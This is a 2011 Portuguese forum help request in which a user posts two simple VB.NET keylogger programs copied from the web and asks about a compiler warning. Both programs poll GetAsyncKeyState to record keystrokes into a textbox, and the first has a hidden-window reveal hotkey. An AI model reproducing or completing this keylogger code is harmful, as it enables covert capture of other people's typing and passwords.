Array
(
)

Ajuda Keyloger VB.NET

Alalala
   - 16 jul 2011


Fiz dois projetos de Keylogger que vi na net, e os dois possuem exatamente o mesmo erro:
Warning 1 Variable 'key' is used before it has been assigned a value. A null reference exception could result at runtime. C:\Users\Eva\Desktop\Thiago\Visual Basic\Keylogger\WindowsApplication1\WindowsApplication1\Form1.vb 20 12 WindowsApplication1
CÓDIGO DO PRIMEIRO, O ERRO DA NO TIMERKEYS_TICK
#Código

Option Strict OnPublic Class Form1    Private Declare Function GetAsynckeyState Lib "User32" (ByVal vkey As Long) As Integer
    Private Sub timerkeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerkeys.Tick        Dim result As Integer = Nothing        Dim key As String        Dim i As Integer        For i = 2 To 90            result = 1            result = GetAsynckeyState(i)            If result = -32767 Then                key = Chr(i)                If i = 13 Then key = vbNewLine                Exit For            End If        Next i        If key <> Nothing Then            If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then                tblog.Text &= key            Else                tblog.Text &= key.ToLower            End If        End If
        If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "Z" Then            Me.Show()        End If
    End Sub


SEGUNDO KEYLOGGER
#Código
    Dim result As Integer    Private Declare Function getasynckeystate Lib "user32" (ByVal vkey As Long) As Integer    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load        Timer1.Start()    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick        For i = 1 To 225            result = 0            result = getasynckeystate(i)            If result = -32767 Then                TextBox1.Text = TextBox1.Text + Chr(i)            End If
        Next i
    End Sub


Alalala
   - 16 jul 2011


  DETALHE
O erro (de ambos) ocorre no FOR#Código

For i = 2 To 90            result = 1            result = GetAsynckeyState(i)